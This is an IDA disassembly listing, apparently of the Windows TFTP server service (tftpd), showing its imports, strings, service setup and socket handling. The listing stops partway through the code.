; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 1AF57E7E9DD2DF856D38DA3B43E5DF46 ; File Name : u:\work\1af57e7e9dd2df856d38da3b43e5df46_orig.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 1000000 ; Section 1. (virtual address 00001000) ; Virtual size : 00003310 ( 13072.) ; Section size in file : 00003400 ( 13312.) ; Offset to raw data for section: 00000600 ; Flags 60000020: Text Executable Readable ; Alignment : default ; ; Imports from ADVAPI32.dll ; include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Externs ; _idata ; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult) extrn RegOpenKeyExA:dword ; CODE XREF: sub_10037BF+20p ; DATA XREF: sub_10037BF+20r ; BOOL __stdcall StartServiceCtrlDispatcherA(const SERVICE_TABLE_ENTRYA *lpServiceStartTable) extrn StartServiceCtrlDispatcherA:dword ; CODE XREF: sub_1001570+DBp ; DATA XREF: sub_1001570+DBr ; LSTATUS __stdcall RegQueryValueExA(HKEY hKey, LPCSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData) extrn RegQueryValueExA:dword ; CODE XREF: sub_10037BF+64p ; sub_10037BF+99p ... ; LSTATUS __stdcall RegCloseKey(HKEY hKey) extrn RegCloseKey:dword ; CODE XREF: sub_10037BF+143p ; DATA XREF: sub_10037BF+143r ; SERVICE_STATUS_HANDLE __stdcall RegisterServiceCtrlHandlerA(LPCSTR lpServiceName, LPHANDLER_FUNCTION lpHandlerProc) extrn RegisterServiceCtrlHandlerA:dword ; CODE XREF: sub_1001665+4Ap ; DATA XREF: sub_1001665+4Ar ; BOOL __stdcall SetServiceStatus(SERVICE_STATUS_HANDLE hServiceStatus, LPSERVICE_STATUS lpServiceStatus) extrn SetServiceStatus:dword ; CODE XREF: sub_1001665+6Ap ; sub_1001665+F7p ... ; ; Imports from KERNEL32.dll ; ; void __stdcall ExitProcess(UINT uExitCode) extrn ExitProcess:dword ; CODE XREF: sub_1001570+EDp ; DATA XREF: sub_1001570+EDr ; DWORD __stdcall ExpandEnvironmentStringsA(LPCSTR lpSrc, LPSTR lpDst, DWORD nSize) extrn ExpandEnvironmentStringsA:dword ; CODE XREF: sub_1003910+34p ; DATA XREF: sub_1003910+34r ; void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime) extrn GetLocalTime:dword ; CODE XREF: sub_1002A3D+35p ; DATA XREF: sub_1002A3D+35r ; void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn DeleteCriticalSection:dword ; CODE XREF: sub_1002901+48p ; DATA XREF: sub_1002901+48r ; void __stdcall SetLastError(DWORD dwErrCode) extrn SetLastError:dword ; CODE XREF: sub_10027E1+83p ; sub_1002F31+1C3p ... ; BOOL __stdcall SetEvent(HANDLE hEvent) extrn SetEvent:dword ; CODE XREF: sub_1001E73+36p ; DATA XREF: sub_1001E73+36r ; DWORD __stdcall ResumeThread(HANDLE hThread) extrn ResumeThread:dword ; CODE XREF: HandlerProc+38p ; DATA XREF: HandlerProc+38r ; DWORD __stdcall GetLastError() extrn GetLastError:dword ; CODE XREF: sub_1001570+E5p ; sub_1001665:loc_1001762p ... ; DWORD __stdcall WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds) extrn WaitForSingleObject:dword ; CODE XREF: sub_1001665+210p ; sub_1001A91+1ABp ; DATA XREF: ... ; HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName) extrn CreateEventA:dword ; CODE XREF: sub_1001665+7Ep ; sub_1001665+89p ... ; void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn InitializeCriticalSection:dword ; CODE XREF: sub_10018DB+12p ; sub_10018DB+19p ... ; HANDLE __stdcall HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize) extrn HeapCreate:dword ; CODE XREF: sub_10019F0+23p ; DATA XREF: sub_10019F0+23r ; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn LeaveCriticalSection:dword ; CODE XREF: sub_1001A1F+68p ; sub_1001A91+B5p ... ; BOOL __stdcall HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem) extrn HeapFree:dword ; CODE XREF: sub_1001A1F+58p ; DATA XREF: sub_1001A1F+58r ; BOOL __stdcall CloseHandle(HANDLE hObject) extrn CloseHandle:dword ; CODE XREF: sub_1001A1F+49p ; sub_1001E73+A9p ... ; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn EnterCriticalSection:dword ; CODE XREF: sub_1001A1F+Bp ; sub_1001A91+4Ep ... ; LONG __stdcall InterlockedIncrement(volatile LONG *lpAddend) extrn InterlockedIncrement:dword ; CODE XREF: sub_1001A91+27Cp ; sub_1001A91+2C1p ; DATA XREF: ... ; DWORD __stdcall WaitForMultipleObjects(DWORD nCount, const HANDLE *lpHandles, BOOL bWaitAll, DWORD dwMilliseconds) extrn WaitForMultipleObjects:dword ; CODE XREF: sub_1001A91+158p ; DATA XREF: sub_1001A91+158r ; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes) extrn HeapAlloc:dword ; CODE XREF: sub_1001A91+93p ; DATA XREF: sub_1001A91+93r ; BOOL __stdcall ResetEvent(HANDLE hEvent) extrn ResetEvent:dword ; CODE XREF: sub_1001A91+75p ; DATA XREF: sub_1001A91+75r ; void __stdcall Sleep(DWORD dwMilliseconds) extrn Sleep:dword ; CODE XREF: .text:01001D94p ; sub_100205A+4Ep ; DATA XREF: ... ; BOOL __stdcall TryEnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn TryEnterCriticalSection:dword ; CODE XREF: .text:01001D89p ; .text:01001D9Bp ; DATA XREF: ... ; DWORD __stdcall SuspendThread(HANDLE hThread) extrn SuspendThread:dword ; CODE XREF: HandlerProc+50p ; DATA XREF: HandlerProc+50r ; ; Imports from MSVCRT.dll ; extrn __imp__initterm:dword ; DATA XREF: _inittermr extrn __getmainargs:dword ; CODE XREF: .text:01003B18p ; DATA XREF: .text:01003B18r extrn __setusermatherr:dword ; CODE XREF: .text:01003AD8p ; DATA XREF: .text:01003AD8r extrn _lseek:dword ; CODE XREF: sub_1002F31+1F0p ; sub_1002F31+20Ap ; DATA XREF: ... extrn _close:dword ; CODE XREF: sub_1002953+11p ; DATA XREF: sub_1002953+11r extrn _read:dword ; CODE XREF: sub_10027E1+63p ; DATA XREF: sub_10027E1+63r ; void *__cdecl malloc(size_t Size) extrn malloc:dword ; CODE XREF: sub_1001FA6+30p ; sub_100205A+93p ... ; void *__cdecl realloc(void *Memory, size_t NewSize) extrn realloc:dword ; CODE XREF: sub_1001FA6+55p ; DATA XREF: sub_1001FA6+55r ; int __cdecl fclose(FILE *File) extrn fclose:dword ; CODE XREF: sub_1001E73+CDp ; DATA XREF: sub_1001E73+CDr ; void __cdecl free(void *Memory) extrn free:dword ; CODE XREF: sub_10018DB+75p ; sub_1001F54+47p ... ; time_t __cdecl time(time_t *Time) extrn time:dword ; CODE XREF: sub_1001665+114p ; HandlerProc+8p ; DATA XREF: ... extrn _chdir:dword ; CODE XREF: sub_1001665+19Fp ; sub_1001665+1BEp ; DATA XREF: ... ; int *__cdecl errno() extrn _errno:dword ; CODE XREF: sub_1001665+1A7p ; sub_10027E1+7Dp ... extrn _mkdir:dword ; CODE XREF: sub_1001665+1AEp ; DATA XREF: sub_1001665+1AEr ; FILE *__cdecl fopen(const char *Filename, const char *Mode) extrn fopen:dword ; CODE XREF: sub_1001665+1DBp ; DATA XREF: sub_1001665+1DBr ; char *__cdecl ctime(const time_t *Time) extrn ctime:dword ; CODE XREF: sub_1001665+1F7p ; HandlerProc+19p ; DATA XREF: ... ; unsigned int __cdecl _controlfp(unsigned int NewValue, unsigned int Mask) extrn __imp__controlfp:dword ; DATA XREF: _controlfpr extrn _except_handler3:dword ; DATA XREF: .text:loc_1003BF0r extrn __set_app_type:dword ; CODE XREF: .text:01003A7Fp ; DATA XREF: .text:01003A7Fr extrn __p__fmode:dword ; CODE XREF: .text:01003A9Cp ; DATA XREF: .text:01003A9Cr extrn __p__commode:dword ; CODE XREF: .text:01003AAAp ; DATA XREF: .text:01003AAAr extrn _adjust_fdiv:dword ; DATA XREF: .text:01003AB8r ; int printf(const char *Format, ...) extrn printf:dword ; CODE XREF: sub_1001570+52p ; sub_1001570+5Fp ... extrn __p___initenv:dword ; CODE XREF: .text:01003B33p ; DATA XREF: .text:01003B33r extrn __imp__XcptFilter:dword ; DATA XREF: _XcptFilterr ; void __cdecl exit(int Code) extrn _exit:dword ; CODE XREF: .text:01003B7Ap ; DATA XREF: .text:01003B7Ar extrn _open:dword ; CODE XREF: sub_1002F31+1A6p ; sub_100333A+1B9p ; DATA XREF: ... extrn _write:dword ; CODE XREF: sub_100373A+5Bp ; DATA XREF: sub_100373A+5Br ; void __cdecl exit(int Code) extrn exit:dword ; CODE XREF: sub_1001570+CFp ; sub_1001665+C0p ... ; ; Imports from WS2_32.dll ; ; SOCKET __stdcall WSASocketA(int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags) extrn WSASocketA:dword ; CODE XREF: sub_100205A+17p ; DATA XREF: sub_100205A+17r ; int __stdcall WSAGetLastError() extrn WSAGetLastError:dword ; CODE XREF: sub_1001665+B1p ; sub_1001A91+12Bp ... ; int __stdcall WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData) extrn WSAStartup:dword ; CODE XREF: sub_1001665+A6p ; DATA XREF: sub_1001665+A6r ; int __stdcall WSAEventSelect(SOCKET s, HANDLE hEventObject, __int32 lNetworkEvents) extrn WSAEventSelect:dword ; CODE XREF: sub_100188E+Cp ; DATA XREF: sub_100188E+Cr ; u_short __stdcall htons(u_short hostshort) extrn htons:dword ; CODE XREF: sub_1001A91+1D2p ; sub_100230A+18p ... ; BOOL __stdcall WSAGetOverlappedResult(SOCKET s, LPWSAOVERLAPPED lpOverlapped, LPDWORD lpcbTransfer, BOOL fWait, LPDWORD lpdwFlags) extrn WSAGetOverlappedResult:dword ; CODE XREF: sub_1001A91+18Ep ; DATA XREF: sub_1001A91+18Er ; u_short __stdcall ntohs(u_short netshort) extrn ntohs:dword ; CODE XREF: sub_1001A91+11Ep ; sub_1002A3D+40p ... ; int __stdcall WSARecvFrom(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, struct sockaddr *lpFrom, LPINT lpFromlen, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine) extrn WSARecvFrom:dword ; CODE XREF: sub_1001A91+10Fp ; DATA XREF: sub_1001A91+10Fr ; int __stdcall ioctlsocket(SOCKET s, __int32 cmd, u_long *argp) extrn ioctlsocket:dword ; CODE XREF: sub_1001A91+2Ap ; DATA XREF: sub_1001A91+2Ar ; BOOL __stdcall WSACloseEvent(HANDLE hEvent) extrn WSACloseEvent:dword ; CODE XREF: sub_1001F54+1Cp ; DATA XREF: sub_1001F54+1Cr ; int __stdcall closesocket(SOCKET s) extrn closesocket:dword ; CODE XREF: sub_1001F54+13p ; sub_100205A+E7p ... ; char *__stdcall inet_ntoa(struct in_addr in) extrn inet_ntoa:dword ; CODE XREF: sub_1002024+4p ; sub_1002F31+64p ... ; int __stdcall bind(SOCKET s, const struct sockaddr *name, int namelen) extrn bind:dword ; CODE XREF: sub_100205A+7Ap ; sub_1002F31+256p ... ; struct servent *__stdcall getservbyname(const char *name, const char *proto) extrn getservbyname:dword ; CODE XREF: sub_100205A+37p ; DATA XREF: sub_100205A+37r ; SOCKET __stdcall socket(int af, int type, int protocol) extrn socket:dword ; CODE XREF: sub_1002F31+22Ep ; sub_100333A+1EBp ; DATA XREF: ... ; int __stdcall sendto(SOCKET s, const char *buf, int len, int flags, const struct sockaddr *to, int tolen) extrn sendto:dword ; CODE XREF: sub_100230A+B6p ; sub_1002A3D+65p ... ; ; Imports from iphlpapi.dll ; ; DWORD __stdcall NotifyAddrChange(PHANDLE Handle, LPOVERLAPPED overlapped) extrn __imp_NotifyAddrChange:dword ; DATA XREF: NotifyAddrChanger ; DWORD __stdcall GetIpAddrTable(PMIB_IPADDRTABLE pIpAddrTable, PULONG pdwSize, BOOL bOrder) extrn __imp_GetIpAddrTable:dword ; DATA XREF: GetIpAddrTabler ; ; Imports from ntdll.dll ; ; void *__cdecl memmove(void *Dst, const void *Src, size_t Size) extrn memmove:dword ; CODE XREF: sub_100273D+72p ; DATA XREF: sub_100273D+72r ; char *__cdecl strncpy(char *Dest, const char *Source, size_t Count) extrn strncpy:dword ; CODE XREF: sub_1003910+24p ; DATA XREF: sub_1003910+24r ; int __cdecl isupper(int C) extrn isupper:dword ; CODE XREF: sub_100333A+86p ; DATA XREF: sub_100333A+86r ; int __cdecl tolower(int C) extrn tolower:dword ; CODE XREF: sub_1002F31+88p ; sub_100333A+95p ; DATA XREF: ... extrn RtlUpdateTimer:dword ; CODE XREF: sub_1002A3D+BCp ; sub_1002B5E+114p ... extrn RtlDeleteTimer:dword ; CODE XREF: sub_1002901+27p ; sub_1002A3D+FDp ... ; int __cdecl stricmp(const char *Str1, const char *Str2) extrn _stricmp:dword ; CODE XREF: sub_10023D8+54p ; sub_10023D8+C6p ... ; int __cdecl atoi(const char *Str) extrn atoi:dword ; CODE XREF: sub_10023D8+81p ; sub_10023D8+F2p ; DATA XREF: ... ; char *__cdecl itoa(int Val, char *DstBuf, int Radix) extrn _itoa:dword ; CODE XREF: sub_10023D8:loc_1002597p ; DATA XREF: sub_10023D8:loc_1002597r extrn RtlDeregisterWaitEx:dword ; CODE XREF: sub_1001F54+Ap ; sub_1002901+35p ; DATA XREF: ... extrn __imp__chkstk:dword ; DATA XREF: _chkstkr extrn RtlCreateTimerQueue:dword ; CODE XREF: sub_10018DB+81p ; DATA XREF: sub_10018DB+81r extrn RtlRegisterWait:dword ; CODE XREF: sub_100188E+40p ; sub_10018DB+D6p ; DATA XREF: ... extrn RtlCreateTimer:dword ; CODE XREF: sub_10018DB+A8p ; sub_1002F31+34Dp ... ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 100117Ch assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 2 dup(0) dd 37ECADD7h, 0 dd 4, 110h, 0 dd 4C00h, 0 dd 37ECADD7h, 0 dd 3, 310h, 0 dd 4D10h, 0 dd 37ECADD7h, 0 dd 6, 2 dup(0) dd 5020h, 0 dd 37ECADD7h, 0 dd 2, 1Ah, 0 db 90h db 0FEh, 0A7h, 0FFh aDNtPrivateNetS db 'D:\nt\private\net\sockets\tcpsvcs\tftpd\tftpd.c built Sep 24 1999' db ' 22:17:18',0Ah,0 ; char aOWritableFiles[] aOWritableFiles db ' o writable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+C4o ; char aWritable[] aWritable db 'writable',0 ; DATA XREF: sub_1001570+BFo ; sub_10037BF+121o align 4 ; char aOReadableFiles[] aOReadableFiles db ' o Readable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+B6o ; char aReadable[] aReadable db 'readable',0 ; DATA XREF: sub_1001570+B1o ; sub_10037BF+F1o align 4 ; char aOValidmastersK[] aOValidmastersK db ' o ValidMasters keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+A8o ; char aMasters[] aMasters db 'masters',0 ; DATA XREF: sub_1001570+A3o ; sub_10037BF+C1o ; char aOValidclientsK[] aOValidclientsK db ' o ValidClients keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+9Ao ; char aClients[] aClients db 'clients',0 ; DATA XREF: sub_1001570+95o ; sub_10037BF+8Eo ; char aTheseKeysAreSh[] aTheseKeysAreSh db 'These keys are shell patterns with * and ? (see examples above):',0Ah ; DATA XREF: sub_1001570+8Do db 0 align 4 ; char aOStartdirector[] aOStartdirector db ' o StartDirectory keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+84o ; char ValueName[] ValueName db 'directory',0 ; DATA XREF: sub_1001570+7Fo ; sub_10037BF+5Co align 4 ; char aRegistryKeyNam[] aRegistryKeyNam db 'Registry key names, all strings: HKEY_LOCAL_MACHINE %s',0Ah,0 ; DATA XREF: sub_1001570+76o ; char SubKey[] SubKey db 'System\CurrentControlSet\Services\tftpd\parameters',0 ; DATA XREF: sub_1001570+71o ; sub_10037BF+13o align 10h ; char aTftpd_logfileI[] aTftpd_logfileI db ' TFTPD_LOGFILE is %s',0Ah ; DATA XREF: sub_1001570+68o db 0Ah,0 align 4 ; char Filename[] Filename db 'tftpd.log',0 ; DATA XREF: sub_1001570+63o ; sub_1001665+1D6o align 4 ; char aTftpd_default_[] aTftpd_default_ db ' TFTPD_DEFAULT_DIR is %s',0Ah,0 ; DATA XREF: sub_1001570+5Ao align 4 ; char Source[] Source db '\tftpdroot\',0 ; DATA XREF: sub_1001570+55o ; sub_1003910+1Eo a? db '-?',0 ; DATA XREF: sub_1001570+10o align 4 ; char Mode[] Mode db 'a+',0 ; DATA XREF: sub_1001665+1D1o align 4 ; char name[] name db 'tftp',0 ; DATA XREF: sub_100205A+31o align 10h ; char proto[] proto db 'udp',0 ; DATA XREF: sub_100205A+2Co aOptionNegotiat db 'Option negotiation failure',0 ; DATA XREF: .data:01005CE0o align 10h aNoSuchUser db 'No such user',0 ; DATA XREF: .data:01005CDCo align 10h aFileAlreadyExi db 'File already exists',0 ; DATA XREF: .data:01005CD8o aUnknownTransfe db 'Unknown transfer ID',0 ; DATA XREF: .data:01005CD4o aIllegalTftpOpe db 'Illegal TFTP operation',0 ; DATA XREF: .data:01005CD0o align 10h aDiskFullOrAllo db 'Disk full or allocation exceeded',0 ; DATA XREF: .data:01005CCCo align 4 aAccessViolatio db 'Access violation',0 ; DATA XREF: .data:01005CC8o align 4 aFileNotFound db 'File not found',0 ; DATA XREF: .data:01005CC4o align 4 aErrorUndefined db 'Error undefined',0 ; DATA XREF: .data:off_1005CC0o ; char aTsize[] aTsize db 'tsize',0 ; DATA XREF: sub_10023D8:loc_100251Ao align 10h ; char aTimeout_0[] aTimeout_0 db 'timeout',0 ; DATA XREF: sub_10023D8:loc_1002498o ; char Str2[] Str2 db 'blksize',0 ; DATA XREF: sub_10023D8+4Eo aTimeout db 'Timeout',0 ; DATA XREF: sub_1002A3D+D2o aInsufficientRe db 'Insufficient resources',0 ; DATA XREF: sub_1002F31:loc_1003197o ; sub_100333A+201o ... align 10h aFileNameTooLon db 'File name too long',0 ; DATA XREF: sub_1002F31+195o ; sub_100333A+1A0o align 4 aMalformedFileN db 'Malformed file name',0 ; DATA XREF: sub_1002F31+139o ; sub_100333A+159o aOctet db 'octet',0 ; DATA XREF: sub_1002F31+D2o ; sub_100333A:loc_100341Fo align 10h aNetascii db 'netascii',0 ; DATA XREF: sub_1002F31+9Fo ; sub_100333A:loc_10033E1o align 4 asc_100155C: ; DATA XREF: sub_1003910+7Fo unicode 0, <\>,0 dword_1001560 dd 0FFFFFFFFh, 1003B5Eh, 1003B73h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_1001570 proc near ; CODE XREF: .text:01003B4Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 1 push esi jle loc_1001646 mov eax, [esp+4+arg_4] mov esi, offset a? ; "-?" mov eax, [eax+4] loc_1001588: ; CODE XREF: sub_1001570+34j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_10015AA test cl, cl jz short loc_10015A6 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_10015AA inc eax inc eax inc esi inc esi test cl, cl jnz short loc_1001588 loc_10015A6: ; CODE XREF: sub_1001570+22j xor eax, eax jmp short loc_10015AF ; --------------------------------------------------------------------------- loc_10015AA: ; CODE XREF: sub_1001570+1Ej ; sub_1001570+2Cj sbb eax, eax sbb eax, 0FFFFFFFFh loc_10015AF: ; CODE XREF: sub_1001570+38j test eax, eax jnz loc_1001646 mov esi, ds:printf push offset Format ; " ======================================"... call esi ; printf pop ecx push offset Source ; "\\tftpdroot\\" push offset aTftpd_default_ ; " TFTPD_DEFAULT_DIR is %s\n" call esi ; printf pop ecx pop ecx push offset Filename ; "tftpd.log" push offset aTftpd_logfileI ; " TFTPD_LOGFILE is %s\n\n" call esi ; printf pop ecx pop ecx push offset SubKey ; "System\\CurrentControlSet\\Services\\tftpd"... push offset aRegistryKeyNam ; "Registry key names, all strings: HKEY_L"... call esi ; printf pop ecx pop ecx push offset ValueName ; "directory" push offset aOStartdirector ; " o StartDirectory keyname \"%s\"\n" call esi ; printf pop ecx pop ecx push offset aTheseKeysAreSh ; "These keys are shell patterns with * an"... call esi ; printf pop ecx push offset aClients ; "clients" push offset aOValidclientsK ; " o ValidClients keyname \"%s\"\n" call esi ; printf pop ecx pop ecx push offset aMasters ; "masters" push offset aOValidmastersK ; " o ValidMasters keyname \"%s\"\n" call esi ; printf pop ecx pop ecx push offset aReadable ; "readable" push offset aOReadableFiles ; " o Readable files keyname \"%s\"\n" call esi ; printf pop ecx pop ecx push offset aWritable ; "writable" push offset aOWritableFiles ; " o writable files keyname \"%s\"\n" call esi ; printf pop ecx pop ecx push 0FFFFFFFFh ; Code call ds:exit ; exit ; --------------------------------------------------------------------------- pop ecx loc_1001646: ; CODE XREF: sub_1001570+6j ; sub_1001570+41j push offset ServiceStartTable ; lpServiceStartTable call ds:StartServiceCtrlDispatcherA ; StartServiceCtrlDispatcherA test eax, eax jnz short loc_100165B call ds:GetLastError loc_100165B: ; CODE XREF: sub_1001570+E3j push 0 ; uExitCode call ds:ExitProcess ; ExitProcess sub_1001570 endp ; --------------------------------------------------------------------------- pop esi retn ; =============== S U B R O U T I N E ======================================= sub_1001665 proc near ; DATA XREF: .data:ServiceStartTableo arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push ebp push esi push edi xor ebp, ebp push offset HandlerProc ; lpHandlerProc push offset ServiceName ; "Tftpd" mov ServiceStatus.dwServiceType, 30h mov ServiceStatus.dwCurrentState, 2 mov ServiceStatus.dwControlsAccepted, ebp mov ServiceStatus.dwCheckPoint, 1 mov ServiceStatus.dwWaitHint, 4E20h mov ServiceStatus.dwWin32ExitCode, ebp mov ServiceStatus.dwServiceSpecificExitCode, ebp call ds:RegisterServiceCtrlHandlerA ; RegisterServiceCtrlHandlerA cmp eax, ebp mov hServiceStatus, eax jz loc_1001762 mov esi, ds:SetServiceStatus mov edi, offset ServiceStatus push edi ; lpServiceStatus push eax ; hServiceStatus call esi ; SetServiceStatus cmp eax, ebp jz loc_1001762 mov ebx, ds:CreateEventA push ebp ; lpName push ebp ; bInitialState push ebp ; bManualReset push ebp ; lpEventAttributes call ebx ; CreateEventA push ebp ; lpName push ebp ; bInitialState push ebp ; bManualReset push ebp ; lpEventAttributes mov hHandle, eax call ebx ; CreateEventA cmp hHandle, ebp mov hObject, eax jz short loc_100171C cmp eax, ebp jz short loc_100171C push offset stru_1006140 ; lpWSAData push 101h ; wVersionRequested call ds:WSAStartup ; WSAStartup cmp eax, 0FFFFFFFFh jnz short loc_1001735 call ds:WSAGetLastError ; WSAGetLastError loc_100171C: ; CODE XREF: sub_1001665+96j ; sub_1001665+9Aj ... push 1Fh call sub_1001E73 push 1 ; Code call ds:exit ; exit ; --------------------------------------------------------------------------- pop ecx loc_100172C: ; CODE XREF: sub_1001665+218j ; sub_1001665+224j pop edi pop esi pop ebp xor eax, eax pop ebx retn 8 ; --------------------------------------------------------------------------- loc_1001735: ; CODE XREF: sub_1001665+AFj push edi ; lpServiceStatus mov ServiceStatus.dwCurrentState, 4 push hServiceStatus ; hServiceStatus mov ServiceStatus.dwControlsAccepted, 7 mov ServiceStatus.dwCheckPoint, ebp mov ServiceStatus.dwWaitHint, ebp call esi ; SetServiceStatus cmp eax, ebp jnz short loc_100176A loc_1001762: ; CODE XREF: sub_1001665+57j ; sub_1001665+6Ej call ds:GetLastError jmp short loc_100171C ; --------------------------------------------------------------------------- loc_100176A: ; CODE XREF: sub_1001665+FBj push 9 pop ecx xor eax, eax mov edx, offset Time mov edi, edx rep stosd push edx ; Time call ds:time ; time pop ecx mov edx, [esp+10h+arg_0] dec edx mov ebx, (offset dword_1005E07+1) jz short loc_10017F3 mov eax, [esp+10h+arg_4] lea eax, [eax+edx*4] mov [esp+10h+arg_0], eax loc_1001797: ; CODE XREF: sub_1001665+18Cj mov eax, [esp+10h+arg_0] mov eax, [eax] cmp byte ptr [eax], 2Dh jnz short loc_10017F3 movsx ecx, byte ptr [eax+1] sub ecx, 64h jz short loc_10017C9 dec ecx jz short loc_10017BD dec ecx jnz short loc_10017E9 mov dword_1005DD8, 1 jmp short loc_10017E9 ; --------------------------------------------------------------------------- loc_10017BD: ; CODE XREF: sub_1001665+147j mov dword_1005DD4, 1 jmp short loc_10017E9 ; --------------------------------------------------------------------------- loc_10017C9: ; CODE XREF: sub_1001665+144j lea edi, [eax+2] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_10017E9: ; CODE XREF: sub_1001665+14Aj ; sub_1001665+156j ... sub [esp+10h+arg_0], 4 dec edx cmp edx, ebp ja short loc_1001797 loc_10017F3: ; CODE XREF: sub_1001665+125j ; sub_1001665+13Bj call sub_10037BF call sub_1003910 mov esi, ds:_chdir push ebx call esi ; _chdir cmp eax, 0FFFFFFFFh pop ecx jnz short loc_100182E call ds:_errno ; _errno push ebx call ds:_mkdir ; _mkdir cmp eax, ebp pop ecx jnz loc_100171C push ebx call esi ; _chdir cmp eax, ebp pop ecx jnz loc_100171C loc_100182E: ; CODE XREF: sub_1001665+1A5j cmp dword_1005DD8, ebp jz short loc_1001857 push offset Mode ; "a+" push offset Filename ; "tftpd.log" call ds:fopen ; fopen pop ecx cmp eax, ebp pop ecx mov File, eax jnz short loc_1001857 mov dword_1005DD8, ebp loc_1001857: ; CODE XREF: sub_1001665+1CFj ; sub_1001665+1EAj push offset Time ; Time call ds:ctime ; ctime pop ecx call sub_10018DB call sub_10019F0 push 0FFFFFFFFh ; dwMilliseconds push hHandle ; hHandle call ds:WaitForSingleObject ; WaitForSingleObject cmp eax, ebp jz loc_100172C call ds:GetLastError jmp loc_100172C sub_1001665 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_100188E(SOCKET s, HANDLE hEventObject, char) sub_100188E proc near ; CODE XREF: sub_100205A+D5p ; sub_1002F31+2A8p ... var_4 = dword ptr -4 s = dword ptr 8 hEventObject = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ecx push 3 ; lNetworkEvents push [ebp+hEventObject] ; hEventObject push [ebp+s] ; s call ds:WSAEventSelect ; WSAEventSelect test eax, eax jz short loc_10018AE call ds:GetLastError xor eax, eax jmp short locret_10018D7 ; --------------------------------------------------------------------------- loc_10018AE: ; CODE XREF: sub_100188E+14j test [ebp+arg_8], 1 push 0 push 0FFFFFFFFh push [ebp+s] jz short loc_10018C2 push offset loc_1001D74 jmp short loc_10018C7 ; --------------------------------------------------------------------------- loc_10018C2: ; CODE XREF: sub_100188E+2Bj push offset loc_1001DDB loc_10018C7: ; CODE XREF: sub_100188E+32j push [ebp+hEventObject] lea eax, [ebp+var_4] push eax call ds:RtlRegisterWait ; RtlRegisterWait mov eax, [ebp+var_4] locret_10018D7: ; CODE XREF: sub_100188E+1Ej leave retn 0Ch sub_100188E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10018DB proc near ; CODE XREF: sub_1001665+1FEp Memory = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi mov esi, ds:InitializeCriticalSection push edi push offset CriticalSection ; lpCriticalSection call esi ; InitializeCriticalSection push offset stru_1006020 ; lpCriticalSection call esi ; InitializeCriticalSection mov eax, offset dword_1006098 mov dword_100609C, eax mov dword_1006098, eax mov eax, offset Memory mov dword_100603C, eax mov Memory, eax lea eax, [ebp+Memory] push eax call sub_1001FA6 xor esi, esi test eax, eax jnz short loc_1001957 mov eax, [ebp+Memory] xor ebx, ebx cmp [eax], esi jbe short loc_100194F xor edi, edi loc_100192E: ; CODE XREF: sub_10018DB+72j mov ecx, [eax+edi+4] cmp ecx, esi jz short loc_1001947 cmp ecx, 100007Fh jz short loc_1001947 push ecx ; in call sub_100205A mov eax, [ebp+Memory] loc_1001947: ; CODE XREF: sub_10018DB+59j ; sub_10018DB+61j inc ebx add edi, 18h cmp ebx, [eax] jb short loc_100192E loc_100194F: ; CODE XREF: sub_10018DB+4Fj push eax ; Memory call ds:free ; free pop ecx loc_1001957: ; CODE XREF: sub_10018DB+46j push offset dword_10060A0 call ds:RtlCreateTimerQueue ; 